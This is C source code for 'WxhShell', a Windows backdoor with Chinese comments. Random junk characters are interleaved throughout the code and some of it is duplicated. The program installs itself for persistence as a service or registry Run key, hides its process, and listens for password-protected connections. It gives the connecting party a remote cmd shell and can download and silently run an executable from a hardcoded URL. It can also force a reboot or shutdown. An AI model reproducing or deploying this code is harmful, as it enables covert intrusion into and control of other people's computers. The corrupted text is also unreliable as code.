g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ];YglHH NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]ly)z[is"] $=;bccIob if (!NtQueryInformationProcess) return 0; %j
9vX$Hj W#oEF/G hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )[^:]}%r if(!hProcess) return 0; ThT.iD[ m%BMd if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gn;nS{A ,=XS%g}l4 CloseHandle(hProcess); (
SC7m/ X:zyzEhS hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 93zlfLS0 if(hProcess==NULL) return 0; DI2S
%Nl DcFV^8O& HMODULE hMod; .q'FSEkMJ char procName[255]; h:US]ZC^Z unsigned long cbNeeded; K2vPj| -Y!=Iw
4 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dxae2 tV )nbyV a CloseHandle(hProcess); Z;dwn~Tw rsq'60 if(strstr(procName,"services")) return 1; // 以服务启动 |?pYJkrYO <7RkM return 0; // 注册表启动 l")o!N? } mtHi9).,y| 0zq\ j // 主模块 =:0IHyB#0 int StartWxhshell(LPSTR lpCmdLine) ej??j<] { ;Kq<',u~ SOCKET wsl; n=#[Mi $Y BOOL val=TRUE; <iY 9cV|}3 int port=0; c+\Gd}IJq struct sockaddr_in door; QKL]O* QtO[g if(wscfg.ws_autoins) Install();
M\$<g J[_?>YJ port=atoi(lpCmdLine); 4=#QN E!(`275s if(port<=0) port=wscfg.ws_port; 'KN!m|
z Xf' WSADATA data; M#22Zfxq if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %Tm'aY" X~/9Vd g if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; hGaYQgGq setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8)2u@sx% door.sin_family = AF_INET; ES:p^/ =* door.sin_addr.s_addr = inet_addr("127.0.0.1"); *^&iw$Qx3 door.sin_port = htons(port); qkyX*_} EZNB`gO if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cR@} closesocket(wsl); T J"{nB return 1; :[$i~V } *TMM:w|1 `:^)"#z) if(listen(wsl,2) == INVALID_SOCKET) { X#\P.$ closesocket(wsl); 0^tJX1L return 1; I?xhak1)lu } ^LAS9K1. Wxhshell(wsl); &opH\wa WSACleanup(); Yh!\:9@( ;-P:$zw9c return 0; M. UUA?d<' i~M.F=I5 } {UjIxV(J N'1 [t // 以NT服务方式启动 ,'@ISCK^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '\3.isTsx { DW;.R<8 DWORD status = 0; l>Oe ,`9O DWORD specificError = 0xfffffff; PeR<FSF ,i e[Ul"pMvS` serviceStatus.dwServiceType = SERVICE_WIN32; l=.InSuLT serviceStatus.dwCurrentState = SERVICE_START_PENDING; DyV[+P serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (j\UoKLRt serviceStatus.dwWin32ExitCode = 0; TTjjyZ@ serviceStatus.dwServiceSpecificExitCode = 0; )}k`X<~k serviceStatus.dwCheckPoint = 0; >?Y3WPB<F serviceStatus.dwWaitHint = 0; !-Tmu aG&kl O>m hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z_TbM^N if (hServiceStatusHandle==0) return; @eD2<e W71#NjM2Z status = GetLastError(); ;R-Q,aCM} if (status!=NO_ERROR) "q#g/T { yyYbB ]D serviceStatus.dwCurrentState = SERVICE_STOPPED; s</ktPtu serviceStatus.dwCheckPoint = 0; iS^^Z ZyR serviceStatus.dwWaitHint = 0; (5\d[||9g serviceStatus.dwWin32ExitCode = status; /-} p7AM serviceStatus.dwServiceSpecificExitCode = specificError; /:];2P6#X SetServiceStatus(hServiceStatusHandle, &serviceStatus); E9NGdp&-Ah return; mm~o%1|WR } t3kh]2t |x~ei_x7.p serviceStatus.dwCurrentState = SERVICE_RUNNING; LB 5EGw serviceStatus.dwCheckPoint = 0; UmHb-uk ; serviceStatus.dwWaitHint = 0; Sr-^faL if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;jfXU_K } oI"Fpo SX<>6vH& // 处理NT服务事件,比如:启动、停止 N,'qMoNf VOID WINAPI NTServiceHandler(DWORD fdwControl) (]uoN4 { ;{#M switch(fdwControl) /t2<OU9 { n@8{FoF case SERVICE_CONTROL_STOP: qv >( serviceStatus.dwWin32ExitCode = 0; !!Gi.VL serviceStatus.dwCurrentState = SERVICE_STOPPED; vnT
serviceStatus.dwCheckPoint = 0; G7#~=W
2M serviceStatus.dwWaitHint = 0; xn#I7]]G { -)c"cgx. SetServiceStatus(hServiceStatusHandle, &serviceStatus); .*..pf|/ } ?J1&,'& return; Le+8s LE`Y case SERVICE_CONTROL_PAUSE: +]2~@=<@ serviceStatus.dwCurrentState = SERVICE_PAUSED; o]k]pNO break; 2H0q\zZ case SERVICE_CONTROL_CONTINUE: "VhrsVT serviceStatus.dwCurrentState = SERVICE_RUNNING; z[I/ AORl break; [}Yci:P_ + case SERVICE_CONTROL_INTERROGATE: j;c^pLUP break; Q14;G<l- }; I.0Usa"z SetServiceStatus(hServiceStatusHandle, &serviceStatus); q>h+Ke } .ceU @^ Ptxc9~k // 标准应用程序主函数 P<oD*C int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &Fr68HNmj { fXR_)d )=y6s^} // 获取操作系统版本 |Szr=[ OsIsNt=GetOsVer(); ~.=HN}E GetModuleFileName(NULL,ExeFile,MAX_PATH); rY+1s^F |0Ug~jKU // 从命令行安装 7o%|R2mL} if(strpbrk(lpCmdLine,"iI")) Install(); {@`Uf;hPAX Jywz27j // 下载执行文件 \^Q)`Lqp:g if(wscfg.ws_downexe) { &^<T/PiR if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \{^yB4F_Z WinExec(wscfg.ws_filenam,SW_HIDE); ?DTP-#5Ba } h1d0{ bao5^t} if(!OsIsNt) { JHOBg{Wg // 如果时win9x,隐藏进程并且设置为注册表启动 2:0Y'\nn HideProc(); G(,~{N|| StartWxhshell(lpCmdLine); i(#c
Yb } rm;"98~zJ? else , X+(wp if(StartFromService()) ed2&9E>9b // 以服务方式启动 x@l~*6!K StartServiceCtrlDispatcher(DispatchTable); |Y8o+O_` else +m},c-,=$w // 普通方式启动 >dH*FZ:c StartWxhshell(lpCmdLine); Uv$u\D+@[ Oc3%pb; return 0; FK('E3PG } tAn6pGp AMiFsgBj QxL
FN(d =C}<0<"iF =========================================== L*Cf&c`8r qf {B Z-V%lRQ=b LR.+CxQ u 9TlXn *g}&&$b0 " XsMphZnK Lu5.$b #include <stdio.h> 1F8EL)9 #include <string.h> -w0>4JDs #include <windows.h> y`dzo`f #include <winsock2.h> (NlEb'~+ #include <winsvc.h> [Y~ s #include <urlmon.h> `a9>4 U Bg_b?k #pragma comment (lib, "Ws2_32.lib") *a.*Ha #pragma comment (lib, "urlmon.lib") kV<)>Gs )SLs
[ #define MAX_USER 100 // 最大客户端连接数 d+)L\
`4 #define BUF_SOCK 200 // sock buffer |}Lgo"cTC #define KEY_BUFF 255 // 输入 buffer &1Iy9&y B)NB6dCp #define REBOOT 0 // 重启 (ytkq( #define SHUTDOWN 1 // 关机 I(S6DkU N#ObxOE6T" #define DEF_PORT 5000 // 监听端口 U /Fomu VG7#6)sQoK #define REG_LEN 16 // 注册表键长度 q,Q|Uvpk #define SVC_LEN 80 // NT服务名长度 h}_q {<n)zLy // 从dll定义API N/=3Bs0y- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1r4/McB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tYa*%|!v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I-hhHm<@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s]>%_(5 TD9`SSpP
// wxhshell配置信息 xUoY|$fI struct WSCFG { GjG3aqP&! int ws_port; // 监听端口 (o\~2e: char ws_passstr[REG_LEN]; // 口令 #{1fb%L{i int ws_autoins; // 安装标记, 1=yes 0=no .9QQ]fLs char ws_regname[REG_LEN]; // 注册表键名 %q^]./3p char ws_svcname[REG_LEN]; // 服务名 v\FD~ char ws_svcdisp[SVC_LEN]; // 服务显示名 SsZzYj.d char ws_svcdesc[SVC_LEN]; // 服务描述信息 -/?<@*n char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '_Op rx int ws_downexe; // 下载执行标记, 1=yes 0=no b>WT-.b0 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ) P])0Y- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {D#`+uw xx8na8 }; V|`|CVFo] Zv93cv // default Wxhshell configuration VV0$L=mo struct WSCFG wscfg={DEF_PORT, B8Z66#EQ "xuhuanlingzhe", }lVUa{ubf 1, P!EX;+7+x "Wxhshell", g7-K62bb "Wxhshell", ^Quy64M "WxhShell Service", RJD3o_("K "Wrsky Windows CmdShell Service", U4JN,`p{ "Please Input Your Password: ", ] fB{ 1, GAKJc\o "http://www.wrsky.com/wxhshell.exe", kvn6
NiU "Wxhshell.exe" 470Pig>I8 }; IgL8u lla96\R // 消息定义模块 Viw3 /K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; aT #|mk=\ char *msg_ws_prompt="\n\r? for help\n\r#>"; 6~LpBlb char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }p~%GA.=98 char *msg_ws_ext="\n\rExit."; 5"U7I{\ char *msg_ws_end="\n\rQuit."; S y~ 1U char *msg_ws_boot="\n\rReboot..."; $)!Z"2T char *msg_ws_poff="\n\rShutdown..."; r^)<Jy0|r char *msg_ws_down="\n\rSave to "; =B1!em| ;Lu|fQ#u* char *msg_ws_err="\n\rErr!"; \BW(c)Q char *msg_ws_ok="\n\rOK!"; QR4o j f`e.c_n( char ExeFile[MAX_PATH]; >Mn.|:DF]& int nUser = 0; R0[Gfq9M= HANDLE handles[MAX_USER]; )SuJK.IF int OsIsNt; 3]acfCacC VbjW$? SERVICE_STATUS serviceStatus; p
WH u[Fu SERVICE_STATUS_HANDLE hServiceStatusHandle; .anL}OA_q uHYI :(O // 函数声明 q`hg@uwA{` int Install(void); wlJ1,)n^2 int Uninstall(void); #A!0KN;GC2 int DownloadFile(char *sURL, SOCKET wsh); cf9y0 int Boot(int flag); RiklwR#~r/ void HideProc(void); \N30SG?o int GetOsVer(void); ?AE%N.rnsi int Wxhshell(SOCKET wsl); x&
S >Mr void TalkWithClient(void *cs); {$^|^n5j int CmdShell(SOCKET sock); v]v f(]"" int StartFromService(void); trLs4o, int StartWxhshell(LPSTR lpCmdLine); N<x5:f#+ xlAaIo)T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `F#KXk VOID WINAPI NTServiceHandler( DWORD fdwControl ); H@zpw1fH+ U!4 ^; // 数据结构和表定义 /_P`xm+=AC SERVICE_TABLE_ENTRY DispatchTable[] = Tb^9J7] { \] K-<&f {wscfg.ws_svcname, NTServiceMain}, Zh@\+1] {NULL, NULL} f+&yc'[ }; |@RO&F 2k_Bo~. // 自我安装 6C:Lq%} int Install(void) >qCT#TY { 0Ko,S(M_ char svExeFile[MAX_PATH]; TR |; /yJ HKEY key; l-&f81W strcpy(svExeFile,ExeFile); -nW-I\d% i!NGX // 如果是win9x系统,修改注册表设为自启动 #p]On87> if(!OsIsNt) { (_* a4xGF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s=:n<`Z2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !s$fqn
6 RegCloseKey(key); zv41Yv!x} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ee0J;pP2# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ="`y<J P RegCloseKey(key); X^ovP'c2 return 0; VaB7)r } 0pQ>V) } 5Ai
Yx} } IH5thL@D else { m#Cp.|>kP4 f: Rh9 // 如果是NT以上系统,安装为系统服务 gI]Vyg<{d SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O1z>A if (schSCManager!=0) ?@~FT1"6G { z"<PveVo SC_HANDLE schService = CreateService IAfYlS#<yD ( wdg[pt
/> schSCManager, L@/+u+j0 wscfg.ws_svcname, zVIzrz0 wscfg.ws_svcdisp, !`SR$dnE SERVICE_ALL_ACCESS, Uc4r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :!%oQQO SERVICE_AUTO_START, X**wRF SERVICE_ERROR_NORMAL, R{T4AZ@,' svExeFile, &rn,[w_F[ NULL, q+K`+& @\ NULL, M?,;TJ7Gd NULL, ;,viE~n NULL, :A[ Gtc(_ NULL (nBsf1l ); dWI\VS 9 if (schService!=0) w(vf>L6( { 9`xq3EL2T CloseServiceHandle(schService); XLtuck CloseServiceHandle(schSCManager); IcA]<}0!"v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r@_;L> strcat(svExeFile,wscfg.ws_svcname); 8'zwyd3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c6e?)(V> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _%t w#cM RegCloseKey(key); `q F:rQ return 0; C. Sb4i* } ]|-y[iu } @gZ%>qe CloseServiceHandle(schSCManager); Y$(G)Fs } w'UP#vT5& } |_O1V{Q= n44j]+P return 1; C ZJW`c/ } 5f1yszd zP5H TEz // 自我卸载 rIu>JyC"p int Uninstall(void) \\[P^ tsF { Ar|_UV>Zf HKEY key; a1?Y7(alPU }b1P!xb!A if(!OsIsNt) { $Q?UyEi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Lg'z%pi RegDeleteValue(key,wscfg.ws_regname); Q 5Ln'La$ RegCloseKey(key); d~.#K S if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A0'Yfuie RegDeleteValue(key,wscfg.ws_regname); 3 iY`kf RegCloseKey(key); Z!*Wn`d-k return 0; W{k}ogI; } %cBJ haR{( } -1fT2e } aa$+( else { HbCM{A9 r=s7be SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oqG
0 @@ if (schSCManager!=0) <}|+2f233+ { u\6:Txqq SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v=|ahsYC if (schService!=0) &Uzg&eB { A H`6)v<f if(DeleteService(schService)!=0) { uYV#'% CloseServiceHandle(schService); ).k=[@@V CloseServiceHandle(schSCManager); p`Ax)L\f return 0; `2GHB@S"k } 2 &R-zG CloseServiceHandle(schService); ;hRo}
+\l } [IiwpC CloseServiceHandle(schSCManager); SC'fT! } 1;SWfKU?. } c\n\gQ:LQ `2{x8A return 1; tM~R?9OaJ } ,*Sj7qb# y+@7k3" // 从指定url下载文件 =T!M` int DownloadFile(char *sURL, SOCKET wsh) S?;&vs9j { 9^ )=N=wV HRESULT hr; #p0vrQ;5f char seps[]= "/"; 'r3I/qg*m char *token; zxXm9zrLo char *file; "`16-g97 char myURL[MAX_PATH]; ]>&au8 char myFILE[MAX_PATH]; Rs7=v2>I &d=j_9 strcpy(myURL,sURL); YMC*<wXN token=strtok(myURL,seps); |]^OX$d while(token!=NULL) 4h?[NOA" { 9=Y-w s file=token; uTngDk token=strtok(NULL,seps); (J5E]NV } =ejkE;
%L @"];\E$sI GetCurrentDirectory(MAX_PATH,myFILE); vTN$SgzfCU strcat(myFILE, "\\"); 8IbHDDS strcat(myFILE, file); a3JG&6- send(wsh,myFILE,strlen(myFILE),0); G|v{[>tr send(wsh,"...",3,0); 5^*I]5t8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :,% vAI if(hr==S_OK) *RivZ
c9;P return 0; eA4@)6W P( else |I6\_K.=L return 1; b v~"_)C WL+I)n8~ } gm\P`~+o G)G5eXXX // 系统电源模块 {+!m]-s int Boot(int flag) >d&B: { .9PPWY;H HANDLE hToken; )u`q41! TOKEN_PRIVILEGES tkp; =Z2Cg{z JT#jJ/^ if(OsIsNt) { f9?\Q'v8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iG^o@*}a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +"'cSAK tkp.PrivilegeCount = 1; |1uyJ?%B tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?vp'
/l" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Gk
g)\ 3 if(flag==REBOOT) { N*gnwrP{ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )OS^tG[= return 0; 4[v
%]g` } IZoS2^:yw else { N^jQ\|A< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z.ky=vCt return 0; TFjb1a,) } %77v'Pz1 } [< Bk% B5 else { ]nY,%XE if(flag==REBOOT) { wsYvbI! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mj|\LF + return 0; Lk9X>`b#B }
hRHqG else { ;shhgz$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UJ* D return 0; qwM71B!r } ZxFRE#y~2 } a<*q+a(*W '@i0~ return 1; T{<riJ`O } L3/m}AH, V{+'(<SV // win9x进程隐藏模块 pyJY]"UHVE void HideProc(void) E<]O,z;F { agp`<1h9 GH[ATL HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xkV(E!O if ( hKernel != NULL ) ~-ZquJ- { ^YiGvZJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z3x/Y/X$S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !tJQ75Hwv FreeLibrary(hKernel); 7uQiP&v } N@6+DHt 4c^WQ>[ return; yq]= +X>( } WR,MqM20 =z#6mSx|W
// 获取操作系统版本 &8$Gyu int GetOsVer(void) = Lt)15 { RC?gozBFJ OSVERSIONINFO winfo; >%LZ|*U winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AQ+MjS, GetVersionEx(&winfo); i7D[5! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wr>[Eo@%\ return 1; AH-B/c5 else S\5%nz\ return 0; ~;$,h ET } 1seWR" GYH{_Fq // 客户端句柄模块 +)$oy] int Wxhshell(SOCKET wsl) ;\a?xtIy { R `K1L!`3 SOCKET wsh; cH>@ZFTF struct sockaddr_in client; [>--U)/ DWORD myID; &`x1_*l !r^fX=X>' while(nUser<MAX_USER) [~_)]"pU { dmA#v:$1 int nSize=sizeof(client); PzF>yG[ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jEh Px if(wsh==INVALID_SOCKET) return 1; CZZwBt$P 28 Q\{Z. handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vo(riHH if(handles[nUser]==0) p.@kv closesocket(wsh); 6sjd:~J: else cvOCBg38BH nUser++; (E(J}r~E } ,L_u
X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !%X~`&9 nIZ;N!r=i return 0; -A]-o } '`+8'3K~E ~dXiyU,y2 // 关闭 socket ;*(i}' void CloseIt(SOCKET wsh) 6&* z { ]?S@g'Jd0Q closesocket(wsh); A_8Xhem${ nUser--; Ql#y7HW ExitThread(0); /aV;EkyO, } 5]f6YlJZ R<djW5 ()f // 客户端请求句柄 i 1dE.f; void TalkWithClient(void *cs) 8yCt(ms { s@02?+/ MoZ8A6e?B SOCKET wsh=(SOCKET)cs; QJ\+u char pwd[SVC_LEN]; Uc%kyTBm1 char cmd[KEY_BUFF]; #nq$^H char chr[1]; G22{',#r8 int i,j; 1R.|j_HYy z!s1$5:" 0 while (nUser < MAX_USER) { ~n=oPm$pR 6L<Y if(wscfg.ws_passstr) { jWL%*dJrN if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]Z IreI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +7\"^D //ZeroMemory(pwd,KEY_BUFF); L}=DC =E i=0; I|x?
K> while(i<SVC_LEN) { $sxRRem{? 9 1.gE*D // 设置超时 N
T>[
2< fd_set FdRead; 3p1U,B} struct timeval TimeOut; kk>z,A4
h_ FD_ZERO(&FdRead); *$]50 \W FD_SET(wsh,&FdRead); 2WK c;? TimeOut.tv_sec=8; +R8G*2 TimeOut.tv_usec=0; oNhCa>)/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^>/~MCyM. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XjXz#0nR b|-}?@&7&q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i&TWIl8 pwd=chr[0]; cY^'Cj if(chr[0]==0xd || chr[0]==0xa) { "IHFme@^ pwd=0; H-,p.$3} break; y[{}124 } ~2;\)/E\ i++; ^ItL_4 } LzTdi%u$0| Hp>_:2O8s // 如果是非法用户,关闭 socket -K (>uV!? if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w2SN=X~# } 0Ke2%+yqJ ~KQiNkA\|l send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S3UJ)@
E send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u!-v1O^[ 4L bll%[9 while(1) { XL7||9,(h '=0l{hv@ ZeroMemory(cmd,KEY_BUFF); R=2"5Hy= esM r@Oc // 自动支持客户端 telnet标准 L1#_ j=0; s:K'I7_#@ while(j<KEY_BUFF) { ?bAv{1dvT= if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s<+;5, Q| cmd[j]=chr[0]; =O/v]B8" if(chr[0]==0xa || chr[0]==0xd) { *C);IdhK%y cmd[j]=0; Tb:6IC7=" break; ~ o=kW2Y } :K~sazs7J j++; ^z`d2it } Vx{
j&u/T // 下载文件 Bg[_MDWc-P if(strstr(cmd,"http://")) { V.%LA.8 send(wsh,msg_ws_down,strlen(msg_ws_down),0); fK _uuw4 if(DownloadFile(cmd,wsh)) '#C5m#v send(wsh,msg_ws_err,strlen(msg_ws_err),0); ce[
Maw else |xF!3GGms send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gs\D`|3= } O!t=,F1j else { W&k@p9 :uJHFF xg switch(cmd[0]) { 9}_' i;atYltEJ2 // 帮助 &e78xtA{ case '?': { X~cdM1z? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cm0$v8 break; @+0dgkJ } Cmp5or6d // 安装 b!e0pFS; case 'i': { LJ6l3)tpD if(Install()) zwU1(?]I{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); t,n2N13 else W~PMR/^i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yw
yMCd break; mo+!79& } uq/Fapl // 卸载 qyAnq%B} case 'r': { l-P6B9e|\ if(Uninstall()) 5KfrkZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); N/'8W9#6 else
peHjKK send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i&8|@CACb break; FQ>kTm`d } ~<-mxOe // 显示 wxhshell 所在路径 h$}PQ case 'p': { 1]9w9!j char svExeFile[MAX_PATH]; eY-h<K)y strcpy(svExeFile,"\n\r"); R={#V8D~ strcat(svExeFile,ExeFile); 6$0<&')Yb send(wsh,svExeFile,strlen(svExeFile),0); OwEu S#- break; tJ7F.}\;C } #.!#"8{0_ // 重启 UCXRF case 'b': { xHqF_10S# send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dw.I<fns^B if(Boot(REBOOT)) 5F!Qn\{u{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); `*elzW else { vaJl}^T closesocket(wsh); B`t/21J ExitThread(0); 9^9-\DG } (@qPyM6~} break; Y
mL{uV$ } zVa&4 T- // 关机 &2U%/JqY case 'd': {
WzoI0E` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pF7N = mO if(Boot(SHUTDOWN)) <f`n[QD2z send(wsh,msg_ws_err,strlen(msg_ws_err),0); }#-@5["-X else { `N&*+!O% closesocket(wsh); ^{{a
v?h ExitThread(0);
q)f_!N } Bz <I7h break; )0/*j]Kf } mE5{)<N:C // 获取shell YU" /p|!1 case 's': { / Y od CmdShell(wsh); 6VC|]
|* closesocket(wsh); 3y+~l
H: ExitThread(0); I`*5z;Q!%@ break; S0Io$\ha } kz1#"8Zd! // 退出 /a<UKh:A[ case 'x': { U<Tv<7` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M.6uWwzQR CloseIt(wsh); -KV,l break; @0s'
(
} _"Z?O)d* // 离开 NuSdN>8ll case 'q': { G<=I\T'g; send(wsh,msg_ws_end,strlen(msg_ws_end),0); Y<u%J#'[ closesocket(wsh); XI ;] c5 WSACleanup(); t$%<eF@w exit(1); }^0'IAXi break; %#rtNDi } [k>{q+MWK } J4"A6`O } ap'La|9t> rAAx]nQ@ // 提示信息 deArH5&! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rdd-W>+ } ~nhO*bs}7{ } ||Owdw|{ X'<RqvDc5 return; VBQAkl?(}4 } l"(PP3 Gp
\-AwE // shell模块句柄 5I,NvHD4 int CmdShell(SOCKET sock) tM;cvc`/ { A_\Jb}J1< STARTUPINFO si; xGQP*nZ ZeroMemory(&si,sizeof(si)); W4&8 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BO4;S/ O si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `,xO~_
e> PROCESS_INFORMATION ProcessInfo; 'G~i;o 2 char cmdline[]="cmd"; -3mIdZ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v@ OELJX return 0; (*P`
} ;akW i] 3vcyes-U // 自身启动模式 Pg8boN]} int StartFromService(void) kmC0.\ { g%"SAeG<K typedef struct l[IL~ { |n)4APX\Q DWORD ExitStatus; F<4:P= DWORD PebBaseAddress; yna!L@ *@, DWORD AffinityMask; ,hu@V\SKv DWORD BasePriority; HZ%V>88 ULONG UniqueProcessId; wkGr} ULONG InheritedFromUniqueProcessId; Iy49o! } PROCESS_BASIC_INFORMATION; %6 Av1cv s|H7;.3gp PROCNTQSIP NtQueryInformationProcess; Pe,k y>ow TK18U*z7J static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'g,_ lF static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gJX"4]Ol#} __xmn{{L6P HANDLE hProcess; o]4BST(A PROCESS_BASIC_INFORMATION pbi; &_-=(rK 5I2 h(Td HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); '%t$mf!nV if(NULL == hInst ) return 0; %;ED}X HBR/" m g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z2m^yRQ( g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U5N |2 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *X$qgSW >QvqH 2 if (!NtQueryInformationProcess) return 0; 1Z)P.9c hWbu
